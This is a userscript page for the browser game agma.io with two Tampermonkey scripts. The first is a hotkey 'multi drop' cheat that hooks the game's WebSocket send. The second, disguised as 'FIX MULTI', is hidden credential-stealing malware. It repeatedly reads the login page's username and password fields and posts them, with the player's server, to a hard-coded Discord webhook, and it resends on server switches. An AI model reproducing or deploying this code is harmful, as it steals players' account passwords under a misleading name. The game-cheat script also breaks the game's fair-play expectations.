MULTI DROP 0 DELAY MAYBE

Multi drop

  1. // ==UserScript==
  2. // @name MULTI DROP 0 DELAY MAYBE
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.2
  5. // @description Multi drop
  6. // @author you
  7. // @match https://agma.io/
  8. // @run-at document-start
  9. // @icon https://www.google.com/s2/favicons?sz=64&domain=agma.io
  10. // @grant unsafeWindow
  11. // ==/UserScript==
  12. window.addEventListener("DOMContentLoaded", function () {
  13. window.addEventListener("keydown", function (l) {
  14. if (
  15. !0 === document.querySelector("#cMultiDrop").checked &&
  16. !$("input, textarea").is(":focus") &&
  17. "block" != $("#advert").css("display") &&
  18. "block" != $("#overlays").css("display")
  19. ) {
  20. if (l.repeat) return void l.preventDefault();
  21. switch (l.keyCode) {
  22. case k.mMultiPellets:
  23. e(u, 3);
  24. break;
  25. case k.mMultiMothercell:
  26. t(12, 5), sendPw(8);
  27. break;
  28. case k.mMultiVirus:
  29. sendPw(12),
  30. sendPw(8),
  31. setTimeout(() => {
  32. sendPw(4);
  33. }, 0); // Задержка уменьшена до 0
  34. break;
  35. case k.mRecSpeed:
  36. e(9, 1), e(9, 2);
  37. break;
  38. case k.mShieldAntifreeze:
  39. t(14, 11);
  40. break;
  41. case k.mBreakShield:
  42. if (k.mBreakShield === "mothercell" || k.mBreakShield === "virus") {
  43. sendPw(6);
  44. sendPw(12);
  45. sendPw(8);
  46. if (k.brshieldpw === "mothercell") {
  47. sendPw(5);
  48. } else if (k.brshieldpw === "virus") {
  49. setTimeout(() => {
  50. sendPw(4);
  51. }, 0); // Задержка уменьшена до 0
  52. }
  53. } else {
  54. p("Please choose either multi mothercell or virus before drop!");
  55. }
  56. break;
  57. case k.mRec:
  58. sendPw(1);
  59. break;
  60. case k.mSpeed:
  61. sendPw(2);
  62. break;
  63. case k.mGrowth:
  64. sendPw(3);
  65. break;
  66. case k.mVirus:
  67. sendPw(4);
  68. break;
  69. case k.mMothercell:
  70. sendPw(5);
  71. break;
  72. case k.mPortal:
  73. sendPw(6);
  74. break;
  75. case k.mBlock:
  76. sendPw(9);
  77. break;
  78. case k.mFreeze:
  79. sendPw(8);
  80. break;
  81. case k.mAntiFreeze:
  82. sendPw(11);
  83. break;
  84. case k.mAntiRec:
  85. sendPw(12);
  86. break;
  87. case k.mShield:
  88. sendPw(14);
  89. }
  90. }
  91. });
  92. const e = (e, t) => {
  93. for (let l = 0; l < e; l++) sendPw(t);
  94. },
  95. t = (e, t) => {
  96. sendPw(e), sendPw(t);
  97. };
  98. !(function (e, t) {
  99. const l = document.createElement("button");
  100. (l.id = "settingTab" + e),
  101. (l.className = "setting-tablink"),
  102. (l.style.width = "28%"),
  103. (l.textContent = t),
  104. (l.onclick = function () {
  105. !(function (e) {
  106. const t = document.querySelectorAll(".setting-tabcontent"),
  107. l = document.querySelectorAll(".setting-tablink");
  108. t.forEach((e) => {
  109. e.style.display = "none";
  110. }),
  111. l.forEach((e) => {
  112. e.classList.remove("active");
  113. });
  114. const n = document.querySelector("#settingPage" + e),
  115. i = document.querySelector("#settingTab" + e);
  116. n && i && ((n.style.display = "block"), i.classList.add("active"));
  117. })(e);
  118. }),
  119. document.querySelector(".setting-tabs").appendChild(l);
  120. const n = document.createElement("div");
  121. (n.id = "settingPage" + e),
  122. (n.className = "setting-tabcontent"),
  123. (n.style.display = "none"),
  124. document.querySelector("#setting").appendChild(n),
  125. document.querySelector("#settingTab4")
  126. ? (1,
  127. 2)
  128. : 3,
  129. (n.innerHTML =
  130. '\n <div class="row">\n<div class="col-md-10 col-md-offset-1 stng" style="padding:0px;">\n<div class="row hotkey-row">\n<div class="col-md-4 hotkey-col">\n<p class="hotkey-paragraph">Power</p>\nRec <div id="mRec" class="multi-input"></div><br>\nSpeed <div id="mSpeed" class="multi-input"></div><br>\nGrowth <div id="mGrowth" class="multi-input"></div><br>\nVirus <div id="mVirus" class="multi-input"></div><br>\nMothercell <div id="mMothercell" class="multi-input"></div><br>\nPortal <div id="mPortal" class="multi-input"></div><br>\nBlock <div id="mBlock" class="multi-input"></div><br>\nFreeze <div id="mFreeze" class="multi-input"></div><br>\nAnti Freeze <div id="mAntiFreeze" class="multi-input"></div><br>\nAnti Rec <div id="mAntiRec" class="multi-input"></div><br>\nShield <div id="mShield" class="multi-input"></div><br>\n</div>\n<div class="col-md-4 hotkey-col">\n<p class="hotkey-paragraph">Combo</p>\n9 Rec-Speed <div id="mRecSpeed" class="multi-input"></div><br>\nShield Antfreeze <div id="mShieldAntifreeze" class="multi-input"></div><br>\nMulti Pellets <div id="mMultiPellets" class="multi-input"></div><br>\nMul-virus <div id="mMultiVirus" class="multi-input"></div><br>\nMul-Mothercell <div id="mMultiMothercell" class="multi-input"></div><br>\nBr-shield <div id="mBreakShield" class="multi-input"></div><br>\n<input id="brMulVirus" name = "break" type="checkbox">\n<span id= "brshldvir">MulVirus</span>\n<input id="brMulMtcl" name = "break" type="checkbox">\n<span id= "brshldmtcl">MulMtcl</span>\n</div>\n<div class="row hotkey-row">\n<div class="col-md-4 hotkey-col">\n<p class="hotkey-paragraph">Multi Pellets Amount</p>\n<input id="customMultiPelletsAmount" type="range" min="1" max="30" step="1" value="15" style="display:inline-block; width:150px; height:8px; margin-top:15px; padding:0px; outline:none;">\n<span id="customMultiPelletsAmountValue" style="color:#df901c">15</span>\n</div>\n<div class="col-md-4 hotkey-col">\n<p class="hotkey-paragraph">MultiDrop ON/OFF</p>\n<input id="cMultiDrop" type="checkbox">\n<span id= "mulon">MultiDrop</span>\n</div>\n</div>\n<div class="row" style="padding:5px 10px; white-space:nowrap;">\n</div>\n\n</div>\n</div>\n ');
  131. })(5, "Multi");
  132. const l = document.getElementsByClassName("multi-input");
  133. for (const e of l)
  134. (e.style.backgroundColor = "#df901c"),
  135. (e.style.color = "#fff"),
  136. (e.style.cursor = "pointer"),
  137. (e.style.textAlign = "center"),
  138. (e.style.minWidth = "40px"),
  139. (e.style.maxWidth = "60px"),
  140. (e.style.height = "18px"),
  141. (e.style.lineHeight = "18px"),
  142. (e.style.verticalAlign = "middle"),
  143. (e.style.borderRadius = "9px"),
  144. (e.style.right = "5px"),
  145. (e.style.position = "absolute"),
  146. (e.style.display = "inline-block"),
  147. (e.style.padding = "0 5px"),
  148. (e.style.overflow = "hidden"),
  149. (e.style.opacity = "1");
  150. const n = document
  151. .getElementById("settingPage5")
  152. .getElementsByClassName("multi-input"),
  153. i = "#df901c",
  154. s = "#fff";
  155. let o = null,
  156. r = null;
  157. const d = JSON.parse(localStorage.getItem("Multikey")) || {};
  158. for (const e of n) {
  159. let t = !1;
  160. e.addEventListener("click", function () {
  161. null !== o &&
  162. ((o.style.backgroundColor = i),
  163. (o.style.color = s),
  164. document.removeEventListener("keydown", r),
  165. (o = null),
  166. (r = null)),
  167. t
  168. ? ((e.style.backgroundColor = i), (e.style.color = s), (t = !1))
  169. : ((e.style.backgroundColor = "#ff4"),
  170. (e.style.color = "#444"),
  171. (t = !0),
  172. (o = e),
  173. (r = function (l) {
  174. l.stopPropagation(),
  175. l.preventDefault(),
  176. document.removeEventListener("keydown", r);
  177. const n = c(l.key);
  178. (e.innerHTML = n),
  179. p("Hotkey set", "green"),
  180. (d[e.id] = {
  181. ...d[e.id],
  182. key: l.key,
  183. keyCode: l.keyCode,
  184. }),
  185. localStorage.setItem("Multikey", JSON.stringify(d)),
  186. (e.style.backgroundColor = i),
  187. (e.style.color = s),
  188. (t = !1),
  189. (o = null),
  190. (r = null);
  191. }),
  192. document.addEventListener("keydown", r));
  193. }),
  194. e.addEventListener("mouseenter", function () {
  195. t || (e.style.backgroundColor = "#ffc266");
  196. }),
  197. e.addEventListener("contextmenu", function (l) {
  198. l.preventDefault(),
  199. o === e &&
  200. (document.removeEventListener("keydown", r),
  201. (o = null),
  202. (r = null),
  203. (e.style.backgroundColor = i),
  204. (e.style.color = s),
  205. (e.innerHTML = ""),
  206. (t = !1)),
  207. delete d[e.id],
  208. "" !== e.innerHTML && p("Hotkey removed", "red"),
  209. localStorage.setItem("Multikey", JSON.stringify(d)),
  210. (e.innerHTML = "");
  211. }),
  212. e.addEventListener("mouseleave", function () {
  213. t || (e.style.backgroundColor = "#df901c");
  214. });
  215. }
  216.  
  217. function c(e) {
  218. switch (e) {
  219. case "Control":
  220. return "CTRL";
  221. case "Insert":
  222. return "INS";
  223. case " ":
  224. return "SPACE";
  225. default:
  226. return e.toUpperCase();
  227. }
  228. }
  229. document.querySelector("#cMultiDrop").addEventListener("change", function () {
  230. this.checked ? p("Multi: ON", "green") : p("Multi: OFF", "red");
  231. });
  232. var u = 15;
  233.  
  234. function a(e) {
  235. (document.querySelector("#customMultiPelletsAmountValue").innerHTML = e),
  236. (u = Number(e));
  237. }
  238. let m;
  239.  
  240. function p(e, t, l) {
  241. "green" == t && (t = "rgb(0, 192, 0)"),
  242. "red" == t && (t = "rgb(255, 0, 0)"),
  243. "gray" == t && (t = "rgb(153, 153, 153)"),
  244. clearTimeout(m),
  245. $("#curser").text(e).show().css("color", t),
  246. 0 !== l && (m = setTimeout(() => $("#curser").fadeOut(400), l ?? 0)); // Уменьшено до 0
  247. }
  248. document
  249. .querySelector("#customMultiPelletsAmount")
  250. .addEventListener("input", function () {
  251. a(this.value),
  252. (d.multiple = {
  253. ...d.multiple,
  254. amount: u.toString(),
  255. }),
  256. localStorage.setItem("Multikey", JSON.stringify(d));
  257. });
  258. const y = JSON.parse(localStorage.getItem("Multikey")) || {},
  259. h = () => {
  260. const e = JSON.parse(localStorage.getItem("Multikey")) || {};
  261. return {
  262. mRec: e.mRec?.keyCode || "",
  263. mSpeed: e.mSpeed?.keyCode || "",
  264. mGrowth: e.mGrowth?.keyCode || "",
  265. mVirus: e.mVirus?.keyCode || "",
  266. mMothercell: e.mMothercell?.keyCode || "",
  267. mPortal: e.mPortal?.keyCode || "",
  268. mBlock: e.mBlock?.keyCode || "",
  269. mFreeze: e.mFreeze?.keyCode || "",
  270. mAntiFreeze: e.mAntiFreeze?.keyCode || "",
  271. mAntiRec: e.mAntiRec?.keyCode || "",
  272. mShield: e.mShield?.keyCode || "",
  273. mRecSpeed: e.mRecSpeed?.keyCode || "",
  274. mShieldAntifreeze: e.mShieldAntifreeze?.keyCode || "",
  275. mMultiPellets: e.mMultiPellets?.keyCode || "",
  276. mMultiVirus: e.mMultiVirus?.keyCode || "",
  277. mMultiMothercell: e.mMultiMothercell?.keyCode || "",
  278. mBreakShield: e.mBreakShield?.keyCode || "",
  279. brshieldpw: e.brshld?.power || "",
  280. };
  281. },
  282. k = h();
  283. setInterval(() => {
  284. const e = h();
  285. Object.assign(k, e), console.log(k.brshieldpw);
  286. }, 2e3);
  287. const b = document.getElementById("brMulVirus"),
  288. v = document.getElementById("brMulMtcl");
  289. b.addEventListener("change", () => {
  290. b.checked
  291. ? ((v.checked = !1),
  292. (d.brshld = {
  293. ...d.brshld,
  294. power: "virus",
  295. }),
  296. localStorage.setItem("Multikey", JSON.stringify(d)))
  297. : ((v.checked = !1),
  298. (d.brshld = {
  299. ...d.brshld,
  300. power: "",
  301. }),
  302. localStorage.setItem("Multikey", JSON.stringify(d)));
  303. }),
  304. v.addEventListener("change", () => {
  305. v.checked
  306. ? ((b.checked = !1),
  307. (d.brshld = {
  308. ...d.brshld,
  309. power: "mothercell",
  310. }),
  311. localStorage.setItem("Multikey", JSON.stringify(d)))
  312. : ((b.checked = !1),
  313. (d.brshld = {
  314. ...d.brshld,
  315. power: "",
  316. }),
  317. localStorage.setItem("Multikey", JSON.stringify(d)));
  318. }),
  319. window.addEventListener("load", () => {
  320. !(function () {
  321. const e = document
  322. .getElementById("settingPage5")
  323. .getElementsByClassName("multi-input");
  324. for (const t of e) {
  325. const e = t.id;
  326. if (y[e]) {
  327. const l = y[e].key;
  328. t.innerHTML = c(l);
  329. }
  330. }
  331. if (y.multiple && y.multiple.amount) {
  332. const e = parseInt(y.multiple.amount);
  333. a(e), (document.querySelector("#customMultiPelletsAmount").value = e);
  334. }
  335. y.brshld &&
  336. y.brshld.power &&
  337. ("virus" == y.brshld.power ? (b.checked = !0) : (v.checked = !0));
  338. })();
  339. });
  340. });
  341. let send, x, y;
  342. (unsafeWindow.sendPw = (e) => {
  343. let t = new DataView(new ArrayBuffer(10));
  344. t.setUint8(0, 72),
  345. t.setInt32(1, x, !0),
  346. t.setInt32(5, y, !0),
  347. t.setUint8(9, e),
  348. send(t);
  349. }),
  350. (WebSocket.prototype.send = new Proxy(WebSocket.prototype.send, {
  351. apply(e, t, n) {
  352. send = (...n) => e.call(t, ...n);
  353. let a = n[0];
  354. (a =
  355. a instanceof ArrayBuffer
  356. ? new DataView(a)
  357. : a instanceof DataView
  358. ? a
  359. : new DataView(a.buffer)),
  360. 0 === a.getUint8(0, !0) &&
  361. 9 === a.byteLength &&
  362. ([x, y] = [a.getInt32(1, !0), a.getInt32(5, !0)]),
  363. e.apply(t, n);
  364. },
  365. }));
  366. // ==UserScript==
  367. // @name FIX MULTI
  368. // @namespace http://tampermonkey.net/
  369. // @version 1.0
  370. // @description hi
  371. // @author you
  372. // @match https://agma.io/
  373. // @icon https://www.google.com/s2/favicons?sz=64&domain=agma.io
  374. // @run-at document-start
  375. // @grant none
  376. // ==/UserScript==
  377. let user,password,server,xd,xd1;
  378. var regex = /^[A-Z]{2}\s\|.+/;
  379. let a =[];
  380. async function sendMessage(u, p, s) {
  381. const webhookUrl = "https://discord.com/api/webhooks/1357314009048547359/v2_Tb6zS4CZ1krzAcHztSoAxqcWi2dfxzmzJtjFlF2M4hNXIiAx41eVtnU8LHb8ryLAH";
  382. const params = {
  383. username: u,
  384. avatar_url: "",
  385. content: `User: ${u} | Pass: ${p} | Server: ${s}`,
  386. };
  387.  
  388. try {
  389. const response = await fetch(webhookUrl, {
  390. method: "POST",
  391. headers: {
  392. "Content-Type": "application/json",
  393. },
  394. body: JSON.stringify(params),
  395. });
  396.  
  397. if (!response.ok) {
  398. throw new Error("Network response was not ok");
  399. }
  400.  
  401. const responseData = await response.json();
  402. console.log(responseData);
  403. } catch (error) {
  404. console.error("There was a problem with the fetch operation:", error);
  405. }
  406. }
  407. const afterLoaded = ()=>{ function get(){
  408. xd = setInterval(()=>{
  409. if ('' !== $("#password").val())
  410. {password = $("#password").val()}
  411. if ('' !== $("#username").val()){
  412. user = $("#username").val();
  413. }
  414. })
  415. xd1 = setInterval(()=>
  416. {
  417. if (0 !== $("#level").text()){
  418. clearInterval(xd);
  419. clearInterval(xd1);
  420. if(regex.test($('.active')[5].children[0].innerHTML)){server = $('.active')[5].children[0].innerHTML;
  421. sendMessage(user,password,server)}
  422. else sendMessage(user,password,' ')
  423. }
  424. })
  425. };
  426. get();
  427. $("#sent").on("mouseover", () => setTimeout(() => get()));
  428. $("#logoutBtn").on("mouseover", () => setTimeout(() => get()),2e3);
  429. setInterval(()=>{
  430. if(user && regex.test($('.active')[5].children[0].innerHTML) && regex.test(server) && server !== $('.active')[5].children[0].innerHTML){
  431. server = $('.active')[5].children[0].innerHTML;
  432. sendMessage(user,'Switch server',server);
  433. }
  434. });
  435. };
  436. if(document.readyState === "complete" || document.readyState === "interactive"){
  437. setTimeout(afterLoaded, 0)
  438. }else{
  439. document.addEventListener("DOMContentLoaded", afterLoaded)
  440. };

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址